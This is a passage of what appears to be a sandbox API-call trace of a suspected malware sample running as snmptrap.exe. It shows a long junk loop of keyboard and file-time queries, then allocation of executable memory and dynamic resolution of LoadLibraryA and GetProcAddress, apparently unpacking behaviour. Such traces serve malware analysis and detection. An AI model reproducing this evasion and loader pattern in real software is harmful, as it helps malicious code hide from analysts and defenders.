lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.913] GetAsyncKeyState (vKey=58) returned 0 [0252.913] GetKBCodePage () returned 0x1b5 [0252.913] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.913] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.914] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.914] GetFocus () returned 0x0 [0252.914] GetAsyncKeyState (vKey=58) returned 0 [0252.914] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.915] GetKBCodePage () returned 0x1b5 [0252.915] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.915] GetFocus () returned 0x0 [0252.915] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.916] GetAsyncKeyState (vKey=58) returned 0 [0252.916] GetKBCodePage () returned 0x1b5 [0252.916] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.916] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.917] GetAsyncKeyState (vKey=58) returned 0 [0252.917] GetKBCodePage () returned 0x1b5 [0252.917] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.917] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.918] GetAsyncKeyState (vKey=58) returned 0 [0252.918] GetKBCodePage () returned 0x1b5 [0252.918] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.918] GetFocus () returned 0x0 [0252.919] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0252.919] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe")) returned 0x20 [0252.919] Sleep (dwMilliseconds=0x94) [0253.062] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0253.062] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000 [0253.066] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0253.066] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0253.067] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0253.067] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0253.067] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) 